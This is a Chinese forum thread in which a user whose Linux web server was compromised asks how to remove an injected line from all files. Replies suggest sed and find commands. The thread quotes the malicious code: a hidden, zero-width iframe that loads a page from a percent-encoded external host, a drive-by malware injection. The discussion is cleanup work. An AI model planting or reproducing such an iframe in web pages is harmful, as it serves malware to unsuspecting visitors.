我的服务器中了木马，怎么办啊？

harryccf

请问，我的服务器中了木马？

需要写个shell替换掉文件里面木马： 木马是：<iframe src="http://%35%36%37%30%35%2E%33%33%32%32%2E%6F%72%67/images/common/yr.htm"width=0 height=100 ></iframe>

请问，谁能帮忙写一个SHELL呢？

非常谢谢啊！

Celinde

被黑了？ 挂马？

要替换什么啊.. 看的不是很明白

gamester88

要找到全部的吗?

wendaozhe

替换成什么？

vermouth

用 sed ？

nagaregawa

学习

xuledw

除了作这个 另外看看是不是arp了？

harryccf

我的是Liunx 服务器的，我要把这款代码替款为空格，或者删除这个代码。

是的，所有文件都有这行代码。所以，要把他都删除掉。

blueswxs

find /var/www/html -type f  -exec   sed  -i  's#目标字符串#替换后字符#g'  {} \;

建议做好备份后测试。

网页目录：   /var/www/html

tomasea

原帖由 harryccf 于 2010-1-29 15:12 发表
我的是Liunx 服务器的，我要把这款代码替款为空格，或者删除这个代码。

是的，所有文件都有这行代码。所以，要把他都删除掉。

[root@kylin ~]# sed -i '/\：<iframe src="http:\/\/%35%36%37%30%35%2E%33%33%32%32%2E%6F%72%67\/images\/common\/yr.htm\"width=0 height=100 ><\/iframe>/d' filename
试试

[ 本帖最后由 tomasea 于 2010-1-29 16:16 编辑 ]